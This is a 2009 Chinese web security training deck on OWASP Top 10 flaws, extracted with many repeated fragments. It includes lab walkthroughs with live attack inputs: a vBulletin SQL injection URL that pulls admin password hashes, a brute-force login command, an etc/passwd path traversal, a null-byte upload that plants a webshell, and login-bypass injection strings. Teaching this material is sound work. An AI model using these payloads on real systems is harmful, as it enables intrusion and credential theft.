Web應(yīng)用安全培訓課件_第1頁
Web應(yīng)用安全培訓課件_第2頁
Web應(yīng)用安全培訓課件_第3頁
Web應(yīng)用安全培訓課件_第4頁
Web應(yīng)用安全培訓課件_第5頁
已閱讀5頁,還剩337頁未讀, 繼續(xù)免費閱讀

下載本文檔

版權(quán)說明:本文檔由用戶提供并上傳,收益歸屬內(nèi)容提供方,若內(nèi)容存在侵權(quán),請進行舉報或認領(lǐng)

文檔簡介

Web應(yīng)用安全汪濤2009-10Web應(yīng)用安全目錄Web對象直接引用二三四惡意代碼執(zhí)行一背景注入攻擊五跨站腳本攻擊六GoogleHackOWASP漏洞攻防七目錄Web對象直接引用二三四惡意代碼執(zhí)行一背景Web來源于WorldWideWeb,Web系統(tǒng)是Internet的重要組成部分,形形色色的Web系統(tǒng)正在改變著我們的生活:網(wǎng)上購物網(wǎng)上匯款交費寫博客Web小游戲競選網(wǎng)上營業(yè)廳Web豐富了我們的生活Web來源于WorldWideWeb,Web系統(tǒng)是Int作為一種新型的市場渠道,網(wǎng)上營業(yè)廳能夠為用戶提供方便快捷的服務(wù),能夠降低實體店鋪的成本,因此在各大運營商市場戰(zhàn)略中占有重要的位置。近年以來,網(wǎng)上營業(yè)廳的安全問題越來越受到大眾的關(guān)注,主要可以劃分成4個方面:Web安全的意義工信部網(wǎng)上營業(yè)廳如果被不法分子攻陷,那么可能以此為跳板進入運營商的支撐網(wǎng)甚至核心網(wǎng)絡(luò),造成大面積通訊故障。

普通用戶網(wǎng)上到處叫賣的個人通話詳單查詢服務(wù)已經(jīng)對老百姓的隱私造成了極大的破壞。移動集團一直就很重視客戶信息保密的問題。

運營商網(wǎng)上營業(yè)廳代表了企業(yè)對外的形象,每天訪問用戶數(shù)以萬計,如果出現(xiàn)頁面篡改、甚至網(wǎng)頁掛馬事件,對企業(yè)形象是巨大損失。

運營商網(wǎng)上營業(yè)廳涉及充值交費等交易業(yè)務(wù),容易吸引不法分子的眼球。如果利用安全漏洞造成交易欺詐,損害企業(yè)的經(jīng)濟利益。

作為一種新型的市場渠道,網(wǎng)上營業(yè)廳能夠為用戶提供方便快捷的服Web系統(tǒng)逐漸成為企業(yè)安全邊界之一防火墻加固OSWeb服務(wù)器應(yīng)用服務(wù)器防火墻數(shù)據(jù)庫歷史遺留系統(tǒng)WebServices文件目錄人力系統(tǒng)計費系統(tǒng)定制的應(yīng)用程序應(yīng)用層攻擊僅僅使用網(wǎng)絡(luò)層的防護手段(防火墻,SSL,IDS,加固)

無法阻止或檢測到應(yīng)用層攻擊網(wǎng)絡(luò)層應(yīng)用層應(yīng)用層作為安全邊界的一部分,或許有巨大的漏洞Web系統(tǒng)逐漸成為企業(yè)安全邊界之一防火墻加固OSWeb服務(wù)器而Web系統(tǒng)的安全性參差不齊……復雜應(yīng)用系統(tǒng)代碼量大、開發(fā)人員多、難免出現(xiàn)疏忽;系統(tǒng)屢次升級、人員頻繁變更,導致代碼不一致;歷史遺留系統(tǒng)、試運行系統(tǒng)等多個Web系統(tǒng)共同運行于同一臺服務(wù)器上;開發(fā)人員未經(jīng)過安全編碼培訓;定制開發(fā)系統(tǒng)的測試程度不如標準的產(chǎn)品;……客戶滿意界面友好操作方便處理性能實現(xiàn)所有功能架構(gòu)合理代碼修改方便運行穩(wěn)定沒有bug不同模塊低耦合相對安全性而言,開發(fā)人員更注重系統(tǒng)功能!開發(fā)進度與成本開發(fā)者的關(guān)注點而Web系統(tǒng)的安全性參差不齊……復雜應(yīng)用系統(tǒng)代碼量大、開發(fā)人定制開發(fā)的Web應(yīng)用=企業(yè)安全的阿基里斯之踵“目前,75%的攻擊發(fā)生在應(yīng)用層”Gartner,2006“2006年前9個月內(nèi)新發(fā)現(xiàn)4,375個漏洞.Web漏洞是其中最普遍的三類之一.”MitreCorp,09/2006,CVE的維護者

“產(chǎn)品的定制開發(fā)是應(yīng)用安全中最薄弱的一環(huán)”.

Gartner,09/2005“到2009年,80%的企業(yè)都將成為應(yīng)用層攻擊的受害者”.Gartner,2007

定制開發(fā)的Web應(yīng)用=企業(yè)安全的阿基里斯之踵“目前,7Web攻擊場景攻擊動機攻擊方法攻擊工具系統(tǒng)漏洞防范措施攻擊面(attacksurface)Web服務(wù)器黑客Web攻擊場景攻擊動機攻擊方法攻擊工具系統(tǒng)漏洞防范措施攻擊面Web攻擊動機常見Web攻擊動機惡作??;關(guān)閉Web站點,拒絕正常服務(wù);篡改Web網(wǎng)頁,損害企業(yè)名譽;免費瀏覽收費內(nèi)容;盜竊用戶隱私信息,例如Email;以用戶身份登錄執(zhí)行非法操作,從而獲取暴利;以此為跳板攻擊企業(yè)內(nèi)網(wǎng)其他系統(tǒng);網(wǎng)頁掛木馬,攻擊訪問網(wǎng)頁的特定用戶群;仿冒系統(tǒng)發(fā)布方,誘騙用戶執(zhí)行危險操作,例如用木馬替換正常下載文件,要求用戶匯款等;……常用的掛馬exploitMS07-017MSWindowsAnimatedCursor(.ANI)RemoteExploitMS07-019MS07-004VMLRemoteCodeExecutionMS06-073MS06-071XMLCoreServicesRemoteCodeExecutionMS06-068MS06-067MS06-057WebViewFolderIcodActiveXMS06-055MS06-014MDACRemoteCodeExecutionMS06-013MS06-005MS06-004MS06-001Web攻擊動機常見Web攻擊動機惡作??;常用的掛馬exploWeb攻擊方法常見Web攻擊方法Googlehack網(wǎng)頁爬行暴力猜解Web漏洞掃描錯誤信息利用根據(jù)服務(wù)器版本尋找現(xiàn)有的攻擊代碼利用服務(wù)器配置漏洞文件上傳下載構(gòu)造惡意輸入(SQL注入攻擊、命令注入攻擊、跨站腳本攻擊)HTTP協(xié)議攻擊拒絕服務(wù)攻擊其他攻擊點利用(WebServices,Flash,Ajax,ActiveX,JavaApplet)業(yè)務(wù)邏輯測試……收集系統(tǒng)相關(guān)的通用信息將系統(tǒng)所有能訪問頁面,所有的資源,路徑展現(xiàn)出來URL、口令、數(shù)據(jù)庫字段、文件名都可以暴力猜解,注意利用工具;利用Web漏洞掃描器,可以盡快發(fā)現(xiàn)一些明顯的問題錯誤可能泄露服務(wù)器型號版本、數(shù)據(jù)庫型號、路徑、代碼;搜索Google,CVE,BugTraq等漏洞庫是否有相關(guān)的漏洞服務(wù)器后臺管理頁面,路徑是否可以列表等是否可以上傳惡意代碼?是否可以任意下載系統(tǒng)文件?檢查所有可以輸入的地方:URL、參數(shù)、Post、Cookie、Referer、Agent、……系統(tǒng)是否進行了嚴格的校驗?HTTP協(xié)議是文本協(xié)議,可利用回車換行做邊界干擾用戶輸入是否可以影響服務(wù)器的執(zhí)行?需要特殊工具才能利用這些攻擊點復雜的業(yè)務(wù)邏輯中是否隱藏漏洞?Web攻擊方法常見Web攻擊方法Googlehack收集系Web攻擊工具:WebScarab特色:HTTP協(xié)議完全可見(可以完全操作所有的攻擊點)支持HTTPS(包括客戶端證書)全程數(shù)據(jù)與狀態(tài)記錄,可隨時回顧WebScarab是OWASP組織推出的開源工具,可應(yīng)用于一切基于HTTP協(xié)議系統(tǒng)的調(diào)試與攻擊;Web攻擊工具:WebScarab特色:WebScarab是訪問資源名稱GET與POST參數(shù)Referer與UserAgentHTTP方法CookieAjaxWebServiceFlash客戶端JavaAppletWeb攻擊面:不僅僅是瀏覽器中可見的內(nèi)容直接可在瀏覽器中利用的輸入所有輸入點更多輸入點黑客實際利用的輸入點訪問資源名稱GET與POST參數(shù)Referer與UserAWeb攻擊漏洞:安全漏洞庫Web攻擊漏洞:安全漏洞庫Web攻擊漏洞:2007OWASPTop10跨站腳本注入惡意代碼引用不當CSRFWeb攻擊漏洞:2007OWASPTop10跨站腳本注2007OWASPTop10:第一名~第四名No.漏洞名稱簡介舉例A1跨站腳本CrossSiteScripting,簡稱為XSS如果Web應(yīng)用沒有對攻擊者的輸入進行適當?shù)木幋a和過濾,就轉(zhuǎn)發(fā)給其他用戶的瀏覽器時,可能導致XSS漏洞。攻擊者可利用XSS在其他用戶的瀏覽器中運行惡意腳本,偷竊用戶的會話,或是偷偷模擬用戶執(zhí)行非法的操作;發(fā)帖子,發(fā)消息A2注入InjectionFlaws如果Web應(yīng)用沒有對攻擊者的輸入進行適當?shù)木幋a和過濾,就用于構(gòu)造數(shù)據(jù)庫查詢或操作系統(tǒng)命令時,可能導致注入漏洞。攻擊者可利用注入漏洞誘使Web應(yīng)用執(zhí)行未預(yù)見的命令(即命令注入攻擊)或數(shù)據(jù)庫查詢(即SQL注入攻擊)。搜索用戶A3惡意代碼執(zhí)行MaliciousFileExecution如果Web應(yīng)用允許用戶上傳文件,但對上傳文件名未作適當?shù)倪^濾時,用戶可能上載惡意的腳本文件(通常是Web服務(wù)器支持的格式,如ASP,PHP等);腳本文件在Include子文件時,如果Include路徑可以被用戶輸入影響,那么可能造成實際包含的是黑客指定的惡意代碼;上述兩種情況是造成惡意代碼執(zhí)行的最常見原因。上傳附件,上傳頭像A4對象直接引用InsecureDirectObjectReference訪問內(nèi)部資源時,如果訪問的路徑(對文件而言是路徑,對數(shù)據(jù)庫而言是主鍵)可被攻擊者篡改,而系統(tǒng)未作權(quán)限控制與檢查的話,可能導致攻擊者利用此訪問其他未預(yù)見的資源;下載文件2007OWASPTop10:第一名~第四名No.漏洞2007OWASPTop10:第五名~第十名No.漏洞名稱簡介舉例A5跨站請求偽造CrossSiteRequestForgery,簡稱為CSRFCSRF攻擊即攻擊者在用戶未察覺的情況下,迫使用戶的瀏覽器發(fā)起未預(yù)見的請求,其結(jié)果往往損害用戶本身的利益。CSRF攻擊大多利用Web應(yīng)用的XSS漏洞,也有很多CSRF攻擊沒有利用XSS而是利用了HTML標簽的特性。不明郵件中隱藏的html鏈接A6信息泄露與錯誤處理不當InformationLeakageandImproperErrorHandlingWeb應(yīng)用可能不經(jīng)意地泄露其配置、服務(wù)器版本、數(shù)據(jù)庫查詢語句、部署路徑等信息,或是泄露用戶的隱私。攻擊者可利用這些弱點盜竊敏感信息。錯誤信息揭示路徑A7認證與會話管理不當BrokenAuthenticationandSessionManagement如果Web應(yīng)用的認證與會話處理不當,可能被攻擊者利用來偽裝其他用戶身份A8存儲不安全InsecureCryptographicStorge如果Web應(yīng)用沒有正確加密存儲敏感信息,可能被攻擊者盜取。例如攻擊者可能通過SQL注入手段獲取其他用戶的密碼,如果Web應(yīng)用對密碼進行了加密,就可以降低此類威脅。A9通訊加密不安全InsecureCommunication如果Web應(yīng)用沒有對網(wǎng)絡(luò)通訊中包含的敏感信息進行加密,可能被竊聽A10URL訪問控制不當FailuretoRestrictURLAccess如果Web應(yīng)用對URL訪問控制不當,可能造成用戶直接在瀏覽器中輸入URL,訪問不該訪問的頁面2007OWASPTop10:第五名~第十名No.漏洞OWASPTOP10,您打算從哪里開始?23456789101OWASPTOP10,您打算從哪里開始?23456789目錄Web對象直接引用二三四惡意代碼執(zhí)行一背景注入攻擊五跨站腳本攻擊六GoogleHackOWASP漏洞攻防七目錄Web對象直接引用二三四惡意代碼執(zhí)行一背景2007OWASP第10名:URL訪問控制不當舉例:有的Web應(yīng)用對頁面權(quán)限控制不嚴,原因是缺乏統(tǒng)一規(guī)范的權(quán)限控制框架,導致部分頁面可以直接從URL中訪問,繞開登錄認證。防范措施:統(tǒng)一規(guī)范權(quán)限控制。A10URL訪問控制不當FailuretoRestrictURLAccess如果Web應(yīng)用對URL訪問控制不當,可能造成用戶直接在瀏覽器中輸入URL,訪問不該訪問的頁面2007OWASP第10名:URL訪問控制不當舉例:有的2007OWASP第9名舉例:網(wǎng)絡(luò)竊聽(Sniffer)可以捕獲網(wǎng)絡(luò)中流過的敏感信息,如密碼,Cookie字段等。高級竊聽者還可以進行ARPSpoof,中間人攻擊。防范措施:通訊加密。A9通訊加密不安全InsecureCommunication如果Web應(yīng)用沒有對網(wǎng)絡(luò)通訊中包含的敏感信息進行加密,可能被竊聽HostAHostBRouterARouterB

2007OWASP第9名舉例:網(wǎng)絡(luò)竊聽(Sniffer)2007OWASP第8名舉例:很多Web應(yīng)用將用戶口令以明文的方式保存,一旦黑客能夠通過其他漏洞獲取這些口令,就可以偽造他人身份登錄,包括系統(tǒng)管理員。建議:采用安全的算法加密保存口令。下面將舉一個實例說明A8存儲不安全InsecureCryptographicStorge如果Web應(yīng)用沒有正確加密存儲敏感信息,可能被攻擊者盜取。例如攻擊者可能通過SQL注入手段獲取其他用戶的密碼,如果Web應(yīng)用對密碼進行了加密,就可以降低此類威脅。2007OWASP第8名舉例:很多Web應(yīng)用將用戶口令以2007OWASP第8名:CasevBulletinvBulletin以MD5方式保存用戶口令,然而其2.3.0版本存在一個SQL注入漏洞,可以通過此漏洞查詢管理員密碼的MD5值;Step1:通過Google搜索vBulletin2.3.0的特征,發(fā)現(xiàn)965.000項符合。這是GoogleHack,后面會專門介紹2007OWASP第8名:CasevBulletinv2007OWASP第8名:CasevBulletinStep2:檢查漏洞頁面calendar.php能否訪問。Step3:由于該攻擊利用了Union,要求MySQL版本高于4.0,因此通過下面的鏈接檢查其MySQL版本是否高于4.0。/calendar.php?s=&action=edit&eventid=6/*!40000%20s*/,根據(jù)返回信息不同判斷MySQL版本。返回錯誤,代表MySQL版本>4.0返回正確,代表MySQL版本<=4.02007OWASP第8名:CasevBulletinS2007OWASP第8名:CasevBulletinStep4:注冊一個用戶,在首頁查看自己的ID。2007OWASP第8名:CasevBulletinS2007OWASP第8名:CasevBulletinStep5:通過下面的鏈接實現(xiàn)SQL注入攻擊:/calendar.php?s=&action=edit&eventid=6%20UNION%20(SELECT%201,1,366,'2000-0-0',username,password%20FROM%20user%20WHERE%20userid=1)%20order%20by%20eventdate其中366是當前登錄用戶的ID,1是希望獲取密碼的用戶ID,結(jié)果如下圖:檢查到密碼,但是是MD5值!登錄用戶名后面會專門介紹SQL注入2007OWASP第8名:CasevBulletinS2007OWASP第8名:CasevBulletin現(xiàn)在很多Web應(yīng)用已經(jīng)開始用MD5算法保存用戶密碼,然而直接進行MD5并非安全算法。右圖的Rainbow表就可以用于反查MD5值。Rainbow表利用了Hellman的存儲-時間權(quán)衡算法,通過設(shè)計一個大數(shù)據(jù)量的表來提高反查效率。2007OWASP第8名:CasevBulletin現(xiàn)防范措施:SALT學習Unix操作系統(tǒng)采用Salt技術(shù)來防范rainbow表攻擊。Password隨機SaltMD5Base64隨機salt+Shadow文件中保存的內(nèi)容Unix在保存用戶口令時,會隨機生成一個12字節(jié)的字符串作為salt,然后把salt與口令一起計算MD5,并將salt與結(jié)果保存在etc/shadow中。驗證時將salt與用戶輸入口令結(jié)合計算MD5并與存儲的結(jié)果比對。防范措施:SALT學習Unix操作系統(tǒng)采用Salt技術(shù)來防范2007OWASP第7名舉例:有的Web應(yīng)用登錄界面允許攻擊者暴力猜解口令,在自動工具與字典表的幫助下,可以迅速找到弱密碼用戶。A7認證與會話管理不當BrokenAuthenticationandSessionManagement如果Web應(yīng)用的認證與會話處理不當,可能被攻擊者利用來偽裝其他用戶身份防范措施:圖片認證碼,雙因素認證2007OWASP第7名舉例:有的Web應(yīng)用登錄界面允許實驗環(huán)境搭建采用VMware5.0,虛擬兩臺主機,構(gòu)造一個虛擬局域網(wǎng)Window2000Server模擬Web服務(wù)器IP:Window2000Professional已安裝實驗所需的攻擊工具,模擬黑客機IP:本地機模擬普通用戶IP:實驗環(huán)境搭建采用VMware5.0,虛擬兩臺主機,構(gòu)造一個2007OWASP第7名:CaseBrute我們將利用一個簡單的Perl腳本對目標進行字典攻擊;首先設(shè)定Perl運行環(huán)境,將bin目錄添加到系統(tǒng)PATH中:學員練習10Min2007OWASP第7名:CaseBrute我們將利用2007OWASP第7名:CaseBrute運行perlformbrute.pl,顯示其命令參數(shù)如下:usage:formbrute.pl-U[url]:網(wǎng)址 -m[method(GET|POST)]:GET還是POST -u[usernameFile]:用戶名字典文件 -p[passwordFile]:密碼字典文件 -l[loginVariable]:Form中用戶名的變量名稱 -w[passVariable]:Form中密碼的變量名稱 -o[otherVariables(ie:submit=true&login=yes)]:其他變量 -v[proxyServer]:代理 -f[failureString]:失敗后返回標記 -s[saveFilename]:輸出文件名 -h[request-headers(ie:Referer:abc&Cookie:ng=omo)]:其他HTTP頭數(shù)據(jù)學員練習10Min2007OWASP第7名:CaseBrute運行per2007OWASP第7名:CaseBrute啟動WebScarab,開啟抓包功能。同時在IE中設(shè)置代理:學員練習10Min2007OWASP第7名:CaseBrute啟動Web2007OWASP第7名:CaseBrute學員練習10Min2007OWASP第7名:CaseBrute學員練習2007OWASP第7名:CaseBrute由于輸入的是錯誤的密碼,頁面提示:你的用戶名或者密碼是錯誤的.請重新輸入或者注冊成為新會員.我們把“錯誤”當成登錄失敗的標志,用formbrute發(fā)起如下命令:perlformbrute.pl-U/bbs/Default.asp-mPOST-uUserList.txt-pPasswordList.txt-lName-wPassword-o"Method_Type=login&SavePassWord=true&submit1.x=34&submit1.y=17"-f"錯誤"-sresult.txt學員練習10Min2007OWASP第7名:CaseBrute由于輸入的2007OWASP第7名:CaseBrute結(jié)果輸出在result.txt中:尋找到admin:admin以及test:test兩個合法登錄!學員練習10Min2007OWASP第7名:CaseBrute結(jié)果輸出在2007OWASP第7名:CaseBrute題外話:Formbrute代碼非常簡短,稍加修改就可以完成更多的任務(wù),例如:猜解后臺管理入口;猜解數(shù)據(jù)庫字段名;……自動測試手工測試2007OWASP第7名:CaseBrute題外話:自2007OWASP第6名舉例:錯誤頁面往往泄露系統(tǒng)內(nèi)部敏感信息防范措施:在所有的運行代碼中進行規(guī)范的異常處理。已處理的異常和未處理的異常應(yīng)該始終將提供的可能有助于黑客攻擊的信息減到最少。例如在登錄系統(tǒng)時,不論是用戶名不存在還是密碼錯誤都應(yīng)該提示相同的錯誤信息。A6信息泄露與錯誤處理不當InformationLeakageandImproperErrorHandlingWeb應(yīng)用可能不經(jīng)意地泄露其配置、服務(wù)器版本、數(shù)據(jù)庫查詢語句、部署路徑等信息,或是泄露用戶的隱私。攻擊者可利用這些弱點盜竊敏感信息。2007OWASP第6名舉例:錯誤頁面往往泄露系統(tǒng)內(nèi)部敏2007OWASP第6名:Case1泄露服務(wù)器Tomcat版本2007OWASP第6名:Case1泄露服務(wù)器Tomc2007OWASP第6名:Case2泄露數(shù)據(jù)庫查詢語句;泄露數(shù)據(jù)庫為Oracle;2007OWASP第6名:Case2泄露數(shù)據(jù)庫查詢語2007OWASP第6名:Case3泄露數(shù)據(jù)庫為MicrosoftSQLServer2007OWASP第6名:Case3泄露數(shù)據(jù)庫為Mi2007OWASP第6名:Case4泄露數(shù)據(jù)庫為MySQL2007OWASP第6名:Case4泄露數(shù)據(jù)庫為My2007OWASP第6名:Case5泄露服務(wù)器目錄2007OWASP第6名:Case5泄露服務(wù)器目錄2007OWASP第6名:IE設(shè)置1有的時候您看到的是如下的頁面:2007OWASP第6名:IE設(shè)置1有的時候您看到的是2007OWASP第6名:IE設(shè)置2原因是IE顯示給用戶的是友好的HTTP錯誤,所以需要去掉下面選項的勾:2007OWASP第6名:IE設(shè)置2原因是IE顯示給用2007OWASP第6名:IE設(shè)置3重啟IE后,顯示更多的技術(shù)細節(jié):2007OWASP第6名:IE設(shè)置3重啟IE后,顯示更總結(jié)前面簡介OWASP漏洞排名第10名到第6名的漏洞攻防;接下來將詳細介紹第5名到第1名;我們把XSS與CSRF合并在一起介紹,順序如下:InsecureDirectObjectReference:直接對象引用MaliciousFileExecution:惡意代碼Injection:注入XSSandCSRF:跨站腳本與跨站請求偽造總結(jié)前面簡介OWASP漏洞排名第10名到第6名的漏洞攻防;目錄Web對象直接引用二三四惡意代碼執(zhí)行一背景注入攻擊五跨站腳本攻擊六GoogleHackOWASP漏洞攻防七目錄Web對象直接引用二三四惡意代碼執(zhí)行一背景對象直接引用一A4對象直接引用InsecureDirectObjectReference訪問內(nèi)部資源時,如果訪問的路徑(對文件而言是路徑,對數(shù)據(jù)庫而言是主鍵)可被攻擊者篡改,而系統(tǒng)未作權(quán)限控制與檢查的話,可能導致攻擊者利用此訪問其他未預(yù)見的資源;下載文件目標:獲取服務(wù)器的etc/passwd文件方法:Web服務(wù)器一般缺省不允許攻擊者訪問Web根目錄以外的內(nèi)容。但是對Web應(yīng)用卻不做限制,因此……操作系統(tǒng)Web應(yīng)用Web服務(wù)器我想看etc/passwdAccessDenied!我想看etc/passwdOK!我想看etc/passwdOK!對象直接引用一A4對象直接引用訪問內(nèi)部資源時,如果訪問的路對象直接引用Step1.訪問,這是一個網(wǎng)頁瀏覽統(tǒng)計系統(tǒng),點擊Getstats!鏈接對象直接引用Step1.訪問http://traffic對象直接引用Step2.右鍵點擊中間的圖片,查看其鏈接屬性:對象直接引用Step2.右鍵點擊中間的圖片,查看其鏈接屬性對象直接引用Step4.您是否觀察到其中file是作為plotStat.php的一個參數(shù)傳入,那么我們用file指向其他敏感文件試試看:對象直接引用Step4.對象直接引用Step5.構(gòu)造參數(shù)/../../../../../../../../../etc/passwd拿到etc/passwd!對象直接引用Step5.構(gòu)造參數(shù)/../../../..對象直接引用Step6.進一步的攻擊,Google搜索inurl:"download.jsp?file=":對象直接引用Step6.進一步的攻擊,Google搜索對象直接引用對象直接引用其他資源類型例如某Web應(yīng)用允許用戶查詢自己賬號的余額信息,其鏈接如下:http:///history.jsp?userid=?有心的用戶可能填寫其他用戶的id再訪問,如果開發(fā)者在服務(wù)器端沒有進行權(quán)限控制,判斷此id是否能被當前會話的用戶訪問,就可能泄露其他用戶的隱私信息。復雜的系統(tǒng)存在大量的相互引用訪問,如果開發(fā)者不能有效地進行權(quán)限控制,就可能被惡意引用。其他資源類型例如某Web應(yīng)用允許用戶查詢自己賬號的余額信息,真實的故事Google-Docs用戶可以偷竊所有其他用戶的文檔!在google-docs上有個鏈接可以將您的文檔發(fā)送給合作者。GET/Dialogs/EmailDocument?DocID=<ANYDOCIDHERE>HTTP/1.1

然而,google卻沒有檢查參數(shù)中的DOCID是否屬于您。所以,您可以猜測他人文檔的ID并利用這個鏈接讓google把文檔郵給您。/blog/2007/09/28/all-your-google-docs-are-belong-to-us/真實的故事Google-Docs用戶可以偷竊所有其他用戶的文防范措施此類漏洞沒有統(tǒng)一的防范措施。要求編碼者有良好的安全意識,在編寫資源訪問代碼時,要仔細考慮資源引用是否可以被黑客篡改。Php應(yīng)用常見的Remote/Local

FileInclusion(簡稱RFI/LFI)漏洞就是因為系統(tǒng)在包含腳本文件時,包含的路徑可被黑客篡改。防范措施此類漏洞沒有統(tǒng)一的防范措施。要求編碼者有良好的安全意目錄Web對象直接引用二三四惡意代碼執(zhí)行一背景注入攻擊五跨站腳本攻擊六GoogleHackOWASP漏洞攻防七目錄Web對象直接引用二三四惡意代碼執(zhí)行一背景惡意代碼執(zhí)行A3惡意代碼執(zhí)行MaliciousFileExecution如果Web應(yīng)用允許用戶上傳文件,但對上傳文件名未作適當?shù)倪^濾時,用戶可能上載惡意的腳本文件(通常是Web服務(wù)器支持的格式,如ASP,PHP等);腳本文件在Include子文件時,如果Include路徑可以被用戶輸入影響,那么可能造成實際包含的是黑客指定的惡意代碼;上述兩種情況是造成惡意代碼執(zhí)行的最常見原因。目標:將WebShell或木馬程序上傳到服務(wù)器中!方法:一種情況是Web應(yīng)用提供了上傳接口;還有一種情況是通過SQL注入直接利用底層數(shù)據(jù)庫或操作系統(tǒng)的上傳接口。第二種方法在SQL注入部分再介紹。惡意代碼執(zhí)行A3惡意代碼執(zhí)行如果Web應(yīng)用允許用戶上傳文件,惡意代碼執(zhí)行:Casedvbbs‘將提交表單的filepath字段賦值給formPath變量formPath=upload.form("filepath")……‘檢查文件擴展名,必須是圖像文件ifCheckFileExt(fileEXT)=falsethen……’利用formPath變量生成最終保存在服務(wù)器的文件名filename=formPath&year(now)&month(now)&day(now)&hour(now)&minute(now)&second(now)&ranNum&"."&fileExt……‘存盤file.SaveToFileServer.mappath(filename)filepathformPathfilename存盤用戶輸入Dvbbs是國內(nèi)著名的開源論壇,其7.2SP2版本以下都存在一個嚴重的任意文件上傳漏洞。漏洞點在用戶修改個人資料時允許從本地上傳圖像做頭像,主要代碼片段如下(upfile.asp):惡意代碼執(zhí)行:Casedvbbs‘將提交表單的filepa惡意代碼執(zhí)行:CasedvbbsStep1.注冊一個普通用戶,并修改基本資料,其中提供了頭像上傳界面。學員練習15Min惡意代碼執(zhí)行:CasedvbbsStep1.注冊一個普通惡意代碼執(zhí)行:CasedvbbsStep2.為了更仔細了解這個頁面,我們使用IE的查看源碼功能,發(fā)現(xiàn)文件上傳是一個Iframe.Step3.直接在IE中訪問這個iframe頁面,出現(xiàn)了一個簡潔的上傳接口.學員練習15Min惡意代碼執(zhí)行:CasedvbbsStep2.為了更仔細惡意代碼執(zhí)行:CasedvbbsStep4.再仔細查看這個頁面的源代碼,發(fā)現(xiàn)filepath字段.可惜是隱藏的,注意編碼方式:multipart/form-data。Step5.打開WebScarab,設(shè)置IE代理為本地8008端口,并使用WebScarab的揭示隱藏字段的功能:揭示隱藏字段學員練習15Min惡意代碼執(zhí)行:CasedvbbsStep4.再仔細查看惡意代碼執(zhí)行:CasedvbbsStep6.我們在filepath后面追加上\web.asp@然后把我們要上傳的惡意asp文件(一個asp編寫的遠程控制頁面,也即通常說的WebShell)改名為web.jpg,上傳;結(jié)果如下:失敗上傳按鈕變灰,且左下角提示出現(xiàn)Javascript錯誤??磥磉€是要退到原來的頁面去做……學員練習15Min惡意代碼執(zhí)行:CasedvbbsStep6.我們在fi惡意代碼執(zhí)行:Casedvbbs雖然原來的頁面操作很不方便……學員練習15Min惡意代碼執(zhí)行:Casedvbbs雖然原來的頁面操作很不方便惡意代碼執(zhí)行:CasedvbbsStep7.注意打開webscarab的攔截功能學員練習15Min惡意代碼執(zhí)行:CasedvbbsStep7.注意打開we惡意代碼執(zhí)行:CasedvbbsStep8.關(guān)鍵一步:將@替換為16進制的00,于是formPath=uploadFace\web.asp\0服務(wù)器端最后生成的Filename=formPath&時間&.&jpg因此web.jpg文件上傳后,服務(wù)器保存為Filename=uploadFace\web.asp學員練習15Min惡意代碼執(zhí)行:CasedvbbsStep8.關(guān)鍵一步:將惡意代碼執(zhí)行:CasedvbbsStep8.訪問web.asp,顯示出我們的webshell,登錄密碼是12345;這種攻擊又成為“空字節(jié)注入”,通常適用于multipart/form-data方式提交的HTTP請求。如果不是multipart/form-data,Web服務(wù)器會將HTTP請求在空字節(jié)處截斷。一般文件上傳都使用此類請求。學員練習15Min惡意代碼執(zhí)行:CasedvbbsStep8.訪問web.防范措施防范措施目錄Web對象直接引用二三四惡意代碼執(zhí)行一背景注入攻擊五跨站腳本攻擊六GoogleHackOWASP漏洞攻防七目錄Web對象直接引用二三四惡意代碼執(zhí)行一背景注入攻擊:OWASP2007Top2A2注入InjectionFlaws如果Web應(yīng)用沒有對攻擊者的輸入進行適當?shù)木幋a和過濾,就用于構(gòu)造數(shù)據(jù)庫查詢或操作系統(tǒng)命令時,可能導致注入漏洞。攻擊者可利用注入漏洞誘使Web應(yīng)用執(zhí)行未預(yù)見的命令(即命令注入攻擊)或數(shù)據(jù)庫查詢(即SQL注入攻擊)。搜索用戶目標:借Web應(yīng)用的”刀“來攻擊服務(wù)器數(shù)據(jù)庫或操作系統(tǒng)方法:檢查Web應(yīng)用調(diào)用數(shù)據(jù)庫服務(wù)器或操作系統(tǒng)功能所有調(diào)用點,檢查是否能構(gòu)造惡意輸入,進而影響調(diào)用命令。下面重點講解SQLInjection。操作系統(tǒng)Web應(yīng)用數(shù)據(jù)庫服務(wù)器惡意輸入../../../etc/passwdOK!123調(diào)用數(shù)據(jù)庫查詢直接調(diào)用操作系統(tǒng)命令通過數(shù)據(jù)庫調(diào)用操作系統(tǒng)命令Bubble注入攻擊:OWASP2007Top2A2注入如果WebSQLInjection:字符串參數(shù)/login.asp管理員管理員程序員考慮的場景:Username:adminPassword:p@$$w0rdSELECTCOUNT(*)FROMUsersWHEREusername='admin'andpassword='p@$$w0rd'登錄成功!SQLInjection:字符串參數(shù)/login.asp管程序員未預(yù)料到的結(jié)果……Username:admin'OR1=1--Password:1SELECTCOUNT(*)FROMUsersWHEREusername='admin'OR1=1--

'andpassword='1'SQLInjection:字符串參數(shù)/login.asp攻擊者登錄成功!學員練習3Min‘是SQL字符串變量的定界符攻擊關(guān)鍵通過定界符成功地將攻擊者的意圖注入到SQL語句中!通過注釋保證SQL語句正確!--是MSSQL的注釋符程序員未預(yù)料到的結(jié)果……SQLInjection:字符串SQLInjection可能影響的系統(tǒng)幾乎所有的關(guān)系數(shù)據(jù)庫系統(tǒng)和相應(yīng)的SQL語言都面臨SQL注入的潛在威脅MSSQLServerOracleMySQLMSAccessPostgres,DB2,Sybase,Informix,等等各種后臺語言/系統(tǒng)進行數(shù)據(jù)庫訪問的方式ASP,JSP,PHP訪問后臺數(shù)據(jù)庫的Perl和CGI腳本XML,XSL和XSQLVB,MFC,以及其他基于ODBC的工具和API等等SQLInjection可能影響的系統(tǒng)幾乎所有的關(guān)系數(shù)據(jù)庫SQLInjection:數(shù)字參數(shù)管理員程序員考慮的場景:age:20SELECTname,age,locationFROMUsersWHEREage>20程序員未預(yù)料到的結(jié)果……age:1000000unionselectname,age,passwordfromusersSELECTname,age,locationFROMUsersWHEREage>999union

